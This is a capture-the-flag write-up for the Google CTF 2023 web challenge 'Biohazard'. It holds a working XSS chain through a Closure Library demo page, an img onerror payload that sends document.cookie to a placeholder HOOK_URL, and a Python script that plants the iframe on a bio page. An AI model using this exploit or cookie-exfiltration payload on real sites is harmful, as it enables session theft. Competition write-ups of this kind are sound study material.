Skip to content

Instantly share code, notes, and snippets.

@arkark
Last active July 26, 2023 07:44
Show Gist options
  • Save arkark/340ffadc009a4dd07be6696e0dec4553 to your computer and use it in GitHub Desktop.
Save arkark/340ffadc009a4dd07be6696e0dec4553 to your computer and use it in GitHub Desktop.
Google CTF 2023 - web/Biohazard

Google CTF 2023 - web/Biohazard

Summary writeup

I just used the following iframe and sent a XSS payload from ATTACKER_DOMAIN:

<iframe src="https://biohazard-web.2023.ctfcompetition.com/static/closure-library/closure/goog/demos/xpc/minimal/index.html?peerdomain={{ATTACKER_DOMAIN}}"></iframe>

There was a prototype pollution vulnerability in this challenge, but my solution did not use it :)

Exploit steps

Prepare your server

  1. cd /path/to/workdir
  2. mkdir static && cd static
  3. git clone https://github.com/shhnjk/closure-library.git
  4. Add the following script to closure-library/closure/goog/demos/xpc/minimal/inner.html.
    <script>
      const HOOK_URL = "...";
      const inputElm = document.querySelector("#msgInput");
      const submitElm = document.querySelector("body > p > input[type=button]:nth-child(2)");
      inputElm.value = `<img src=0 onerror="location = '${HOOK_URL}/?' + document.cookie">`;
      const f = () => {
        if (channel.send) {
          submitElm.click();
        } else {
          setTimeout(f, 500);
        }
      };
      setTimeout(f, 500);
    </script>
  5. Serve static files in /path/to/workdir. Let ATTACKER_DOMAIN be the served domain.

Create a bio page and report it

Execute:

import httpx
import urllib.parse

BASE_URL = "https://biohazard-web.2023.ctfcompetition.com"
ATTACKER_DOMAIN = "..."

# https://github.com/shhnjk/closure-library/blob/d3efa552b61a0c3d5704b7f0e3d7b8e54bdea73e/closure/goog/demos/xpc/minimal/index.html
url = f"{BASE_URL}/static/closure-library/closure/goog/demos/xpc/minimal/index.html?peerdomain={urllib.parse.quote(ATTACKER_DOMAIN)}"

json = {
    "name": "x",
    "introduction": f'<iframe src="{url}"></iframe>',
}
res = httpx.post(
    f"{BASE_URL}/create",
    json=json,
)
id = res.json()["id"]
print(f"{BASE_URL}/view/{id}")

Report the printed URL, and then the admin cookie will be sent to HOOK_URL.

Footnotes

  1. I predict that this URL will be broken because the directory structure will change when the final round source code is released, as in previous years 😅

@anio
Copy link

anio commented Jun 26, 2023

Great job!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment